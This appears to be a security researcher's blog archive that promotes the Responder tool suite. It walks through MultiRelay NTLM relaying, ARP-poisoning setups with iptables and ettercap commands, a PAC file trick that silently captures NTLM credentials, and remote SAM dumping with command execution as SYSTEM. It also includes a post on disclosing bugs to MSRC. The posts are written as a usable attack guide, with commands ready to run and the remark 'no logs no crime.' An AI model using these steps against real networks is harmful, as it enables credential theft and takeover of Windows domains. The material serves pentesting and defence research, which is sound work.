Thursday, October 13, 2016

Introducing Responder MultiRelay 1.0

MultiRelay Description:

MultiRelay is a powerful pentest utility included in Responder's tools folder, giving you the ability to perform targeted NTLMv1 and NTLMv2 relay on a selected target.

Currently MultiRelay relays HTTP, WebDav, Proxy and SMB authentications to an SMB server.
This tool can be customized to accept a range of users to relay to a target. The concept behind this is to only target domain Administrators, local  Administrators, or privileged accounts.

Once a relay has been successful, MultiRelay will give you an interactive shell allowing you to:
  •  Remotely dump the LM and NT hashes on the target.
  • Remotely dump any registry keys under HKLM.
  • Read any file on the target.
  • Download any file on the target.
  • Execute any command as System on the target.

Usage Overview:

Most of the time, MultiRelay can be run with the following options:
  • ./tools/ -t Target_IP -u Administrator DAaccount AnotherAdmin

MultiRelay comes with a set of 3 options:
  • -p: Add an extra listening port for HTTP, WebDav, Proxy requests to relay.
  • -u: A list of users to relay. -u can also be set to "ALL" to target all users.
  • -t: The target

MultiRelay will start by fingerprinting your target and tell you if SMB Signing is mandatory and if so, will let you know that you should target another server.

Another useful utility included in Responder's tools folder is RunFinger accepts a single IP address or a class C range and will tell you the following for a given target:
  • Os version
  • Domain joined
  • Signing is mandatory or not.

RunFinger can dump this information in a grepable format by using the -g command line switch:
root@lgandx:~/Responder- ./tools/ -g -i
Wich will output something like:
[ 'Windows Server 2012 Standard 9200', domain: 'CORP', signing:'False']
[ 'Windows Server 2012 R2 Standard 9600', domain: 'CORP', signing:'False']
[ 'Windows Server 2012 Standard 9200', domain: 'CORP', signing:'False']
[ 'Windows Server 2012 Standard 9200', domain: 'CORP', signing:'False']
[ 'Windows Server 2012 R2 Standard 9600', domain: 'CORP', signing:'True']
[ 'Windows Server 2012 R2 Standard 9600', domain: 'CORP', signing:'False']
[ 'Windows Server 2012 Standard 9200', domain: 'CORP', signing:'False']
This utility is useful for mapping networks and to carefully select a target.

Running The Tool, The Common Scenario:

MultiRelay was built to work in conjunction with, the common usage scenario is:
  • Set SMB and HTTP to Off in Responder.conf
  • ./ -I eth0 -rv on one screen
  • ./tools/ -t Target_IP -u Administrator DAaccount OtherAdmin on another one.

In this scenario all NBT-NS, LLMNR lookups will be resolved with to our IP address, MultiRelay will be listening on TCP port 80, 3128, 445 and will be waiting for incoming connections.

Once a connection is received, MultiRelay will be parsing all authentication requests and will verify if:
  • The user authentication is allowed to be relayed on the target.
  • This user has already been relayed to our target and if the server returned a logon failure.

If this user was previously relayed and the server returned a logon failure, this user will be blacklisted for further authentication.

This is done to prevent account lockouts. This check can be reset by deleting the SMBRelay-Session.txt file in Responder logs folder.

Even if a user is not allowed to be relayed, his NTLMv1/v2 sets of credentials will be captured and stored in Responder logs folder as "SMB-Relay-CLIENTIP.txt", so you won't lose any hashes while running

The LLMNR/NBT-NS Disabled Scenario:

MultiRelay can also be easily used in combination with ARP poisoning attacks, in this scenario let's assume:
  • Switch IP:
  • File server:
  •  Backup file server (target):
  •  Our IP:

After some reconnaissance, we know for fact that once in a while the target is syncing with the File sharing server using its Administrator account.
We can therefore setup the following targeted ARP poisoning attack:

Lets enable IP forwarding.
  •  echo 1 > /proc/sys/net/ipv4/ip_forward

We will be dropping all outgoing ICMP. This prevents the kernel sending port/host unreachable to our target.
  •  iptables -A OUTPUT -p ICMP -j DROP

Since all packets will be going through our box, let's rewrite the destination address and port on the fly for all SMB requests destinated to to our IP
  • iptables -t nat -A PREROUTING -p tcp --dst --dport 445 -j DNAT --to-destination
Launch MultiRelay:
  • ./tools/ -t10.10.10.20 -U Administrator

And finally, launch the actual attack, we only target the backup fileshare:
  • ettercap -T -q -w AttackDump-01.pcap -p -M arp:remote / /

MultiRelay Functionalities:

Once a relay has been successfull, MultiRelay will let you:
  •  Dump registry key and subkeys remotely.
This is done by making a DCE/RPC call to the Windows Remote Registry pipe, saving the key on the SMB server and finally making a read request to the selected saved key.
  •  Dump the SAM database remotely.
This is done by extracting the bootkey and saving the SAM key locally. Responder includes a version of creddump which will parse and output the hashes.
  •  Read a file on the target SMB server.
Simple SMB read request on a given file.
  •  Download a file from the SMB server.
Same as read file, but we save the output locally.
  •  Execute a command as system on the server.
This one is done by making a DCE/RPC call to the Windows Services Control Manager and remotely creating a service which will run this command:
  • cmd.exe /C echo del /F /Q Filename.bat ^&^User defined command goes here^>Windows\Temp\Results.txt >Filename.bat& cmd.exe /C call Filename.bat&exit
That is:
  1.  echo "del /F /Q Filename.bat ^&^User defined command goes here^>Windows\Temp\Results.txt" into Filename.bat
  2.  run Filename.bat and exit.
We then make a SMB read request on Results.txt, and we print the output to the user console.

Download link:


Monday, September 26, 2016

Status of Submitted Vulnerabilities To MSRC

This list is intended to give vague information about submitted bugs, but important information about communication process and timeline.

Bug Title: Microsoft Local Security Authority Subsystem Service (LSASS) Remote Memory Corruption.

  • Affected software: Microsoft Local Security Authority Subsystem Service (LSASS)
  • Type: Memory Corruption.
  • Submitted: 15/09/2016
  • Coordinated disclosure agreement expiration: 15/12/2016.
  • Notes and updates:
    -Proof of concept code was sent on 17/09/2016, no confirmations or real updates were received since then.
    - 28/09/2016: Issue confirmed by MSRC, they are planning on releasing a patch on each affected platform.
    - MSRC informed the bug submitter that they are planning to release a patch on November 8, 2016, that is a full month in advance of the 3 months deadline.

Bug Title: SMBv2 Remote Memory Corruption.

  • Affected software: Microsoft SMBv2.
  • Type: Memory Corruption.
  • Submitted: 25/09/2016. 
  • Coordinated disclosure agreement expiration: 25/12/2016.
  • Notes and updates:
    - MSRC is currently investigating the issue.
    - Microsoft confirmed the issue on 28/09/2016.
    - Bug submitter extended his coordinated disclosure agreement to 1 more month, due to certain circumstances around this issue.

Bug Title: Microsoft Active Directory PDC Remote Code Execution.

  • Affected software: Microsoft Active Directory
  • Type: Protocol Abuse
  • Submitted: 09/12/2016
  • Bug status: Implemented in Responder v2.3.2.2
  • Notes and updates:
    - Proof of concept code was sent on 12/09/2016, Microsoft is planning to release a security fix "over the next few months".
    - Additional proof of concept provided on 02/10/2016 leading to privilege escalation.

Reporting Vulnerability Policy

After several years of actively reporting security bugs to various vendors I came to the following conclusion:
  • A vendor will usually sit on a critical bug as long as he can. Response teams like MSRC, are particularly good at it. I've seen cases where a critical RCE took more than a year before a patch came out.
  • While they usually pretend to care about end-users, most of the time a security patch is released when timing is opportunistic. For example, Server side bugs (RDP, AD/SMB, Lync) month is usually June at MSRC:
  • We only see how long a vendor took to fix a vulnerability when there's an actual advisory with a timeline. Usually the average time is 7-9 months.
  • Taking even 6 months to fix a simple length check is simply not acceptable. It doesn't show in any way a commitment for the security of their users.
Although I must say that I had the opportunity to work with productive vendors in the past for the same kind of bugs I submitted to MSRC. For example, with Samba's Security team, a technical answer was usually sent within 2 hours after submitting a security bug and was fixed across all their branches within 1 week at most.

After some constructive discussions with MSRC lately I decided that I don't want to somehow contribute to this scheme and that things need to change.

Starting today, vulnerabilities already submitted to MSRC will be announced publicly (vuln title, criticity, vuln type) on this blog, but no technical details will be provided to the general public until a patch is out or until my vulnerability disclosure policy agreement has been breached (taking more than x months, for example). Users will be able to track the time it takes them to patch a critical issue and will pressure them if they feel the timeline is unfair. Communities are great for that.

NAC, IDS, IPS vendors might receive ready to go signature for a fairly low price on a case by case review, I don't want any of this ending in any gov's hands before a patch is out. Therefore, selected security vendors will be able to protect their users from critical 0day attacks several months before Microsoft finally decide to protect them by releasing the actual patch.

I invite any frequent MSRC submitter to join me, if they feel like MSFT or any other high profile vendor is sitting on their bugs, it can also be hosted here or published in the same way on their websites.

Users win, you win, I win.

GPG public key: AD0D 60A7 FDAE 1443 F439 D6B1 8DA2 BA12 402E 6A77

Sunday, September 11, 2016

Introducing Proxy Auth on Responder 2.3.2

Few days ago mubix submitted a feature request on Responder repository
I liked the idea and I started working on it. The concept was to force authentication while a victim would use the WPAD proxy server, but then comes the question: Why would you auth someone on the proxy while you used the option -F to force authentication for wpad.dat file retrieval?

Why not letting anyone get that wpad.dat configuration file for free, no authentication and then use another proxy server (not the wpad server) to force authentication, so Responder doesn't send an HTTP 401 response, but a 407 Proxy Authentication Required and then ditch the connection.

Thanks to PAC files, you can set fail-over proxy servers:

function FindProxyForURL(url, host)
if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "") || isPlainHostName(host))
   return "DIRECT";

if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)"))
   return "DIRECT";


The last line means: 

If the proxy server fails, then use this one: and if both fails, use a direct connection to the intranet or internet.

Using this functionality, we can make sure the WPAD server is not working -by not using the -w option- then any workstation using our PAC file will:
  • Connect to and send a request with URL, cookies, headers.
  • The Auth-Proxy module will respond with a 407 and request credentials.
  • The workstation will transparently send its encrypted NTLMv1/NTLMv2 credentials and will get a TCP Reset from the proxy server right after that.
  • This is done by using SO_LINGER which will send a RST as soon as close() is called, faking a proxy server failure.
  • The workstation will then attempt the second proxy server which is offline.
  • Finally the workstation will connect to the internet directly.

The user behind his desk using Internet Explorer has seen nothing and has internet access, we get his NTLM credentials.

This attack is highly effective and is included in the latest version 2.3.2:

This video demonstrates the concept on a 2012R2 PDC with default settings, someone simply open IE, Responder gets the credentials transparently, no password prompt:

Wednesday, September 30, 2015

Demistifying Responder WPAD Authentication module:

One of the most successful modules in Responder is the WPAD server.

The WPAD functionality can be boiled down this way, there's two issues:
  • WPAD MITM: Anyone on an ISP (like plugged direcly into the modem (WAN), and therefore on the internet, will be vulnerable if someone creates a domain and serve a wpad.dat file to the people looking for it.
  The Web Proxy Autodiscovery Protocol is looking for by default, if there's no answer then it will fall back to Multicast LLMNR and if that fails it will go to broadcast NBT-NS.
  •  WPAD file retrieval: Responder is exploiting the fact that in the Web Proxy Autodiscovery Protocol, HTTP authentication is allowed and supported. Therefore if a workstation is looking for "WPAD" via LLMNR or NBT-NS and someone answers it (multicast/broadcast) using a rogue HTTP authentication server, that workstation will send transparently its sets of credentials.
If a workstation boots up, the machine credentials will be sent. If a user opens up IE on that workstation, Responder will get the encrypted sets of credentials transparently, with obviously no user interaction and no logs. Therefore, no logs no crime, right?
What I just described is the stealthiest way of exploiting and getting encrypted sets of credentials on any workstations ranging from Windows 2000 to 2012R2.

Monday, June 9, 2014

Responder v2.0.9

Responder is an Active Directory/Windows environment takeover tool suite that can stealthily take over any default active directory environment (including Windows 2012) in minutes or hours. Most of the attacks in this tool are hard to detect and are highly successful.

Responder attacks 5 Windows core protocols:
 - LLMNR Poisoning (Windows >=vista).
 - Netbios Name Service Poisoning (NBT-NS poisoning, any by default).
 - WPAD (Any by default).
 - ICMP Redirect (Windows <=2003/XP).
 - DHCP INFORM (Windows <=2003/XP) and ability to perform normal DHCP attacks (Linux, OSX, Windows) [unicast answer].

An extra protocol has been added, for OSX and Linux distributions using avahi: MDNS (Linux, Apple, any .local)

When exploiting these protocol flaws, Responder has its own rogue servers listening:
- SMB Auth server. Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. This functionality is enabled by default when the tool is launched.

- MSSQL Auth server. In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005 & 2008.

- HTTP Auth server. In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows versions older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes and Basic Authentication. This server was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari. Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can also send your custom files to a victim.

- HTTPS Auth server. In order to redirect HTTPS Authentication to this tool, you will need  to set the -r option for Windows versions older than Vista (NBT-NS queries for HTTP server lookups are sent using the Workstation Service  name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2, and Basic Authentication. This server was successfully tested on IE 6 to IE 10, Firefox, Chrome, and Safari. The folder Cert/ was added. It containa 2 default keys, including a dummy private key. This is intentional. The purpose is to have Responder working out of the box. A script was added in case you need to generate your own self signed key pair.

- LDAP Auth server. In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows versions older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.

- FTP Auth server. This module will collect FTP clear text credentials.

- Kerberos v5 pre-auth server.

- Small DNS server. This server will answer type A queries. This is really handy when it's combined with ARP spoofing, ICMP Redirect, DHCP INFORM.

- WPAD rogue transparent proxy server. This module will capture all HTTP requests from anyone launching Internet Explorer on the network. This module is highly effective. You can send your custom PAC script to a victim and inject HTML into the server's responses. See Responder.conf.

- Analyze mode: This module allows you to see NBT-NS, BROWSER and LLMNR requests between systems without poisoning any requests. You can also map domains, MSSQL servers, workstations passively and also see if ICMP Redirects attacks are plausible on your subnet. No port scans.

- POP3 auth server. This module will collect POP3 plaintext credentials

- SMTP auth server. This module will collect PLAIN/LOGIN clear text credentials.

- IMAP auth server.

Responder also lets you:

- Customizes your penetration test via Responder.conf.
- Responds to specific in-scope Netbios/LLMNR names.
- Responds to specific in-scope ip addresses.
- Injects SMB share pictures into WPAD responses.
- Replaces requested .exe files with your own, but shown as the original one requested.
- Replaces any requested page with your custom html page, exe file, etc (S-E).
- Set you custom NETNTLM Challenge.

- Logs all its activity to a file: Responder-Session.log.
- All hashes are printed to stdout and dumped in an unique hashcat compliant file using this format: (SMB or MSSQL or HTTP)-(ntlm-v1 or v2 or clear-text)-Client_IP.txt. The file will be located in the current folder.
- When the option -f is set, Responder will fingerprint every host that issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode.

Usage example:
./ -i Your_IP_Address -rvF
MUse NBT-NS workstation redirects, be verbose, force WPAD file retrieval authentication

./ -i Your_IP_Address -A
Analyze mode shows NBT-NS/LLMNR/MDNS queries without responding and finds all MSSQL servers, Workstations, Domains, prints if you can ICMP-Redirect on the subnet. Passive reconnaissance at its best. No port scan, map a network within minutes.


More info:


Saturday, June 7, 2014

More on PCredz..

Pcredz was designed to dump useful information on the fly, from a pcap file or from a pcap directory.
Unlike tools like, for example Breachprobe, Pcredz is highly effective and fast just to meet your pentest needs.

What Pcredz does right now from a live interface or pcap file: 
  • Identify Card Holder Data (CHD) on any port.
  • Dump NTLMv1/v2 (DCE-RPC,SMBv1/2,LDAP,MSSQL,HTTP,etc) hashes on any protocol and port.
  • Dump Kerberos (AS-REQ Pre-Auth etype 23) hashes (TCP/UDP 88).
  • Dump HTTP Basic (any port).
  • Dump POP credentials.
  • Dump SMTP credentials.
  • Dump IMAP credentials.
  • Dump SNMP community strings.
  • Dump FTP credentials.
All hashes are displayed in hashcat format (use -m 7500 for kerberos, -m 5500 for NTLMv1, -m 5600 for NTLMv2).
All credentials are logged to a file (CredentialDump-Session.log).

Pcredz was designed to be highly efficient, specifically with ARP poisoning attacks.
More details and download link: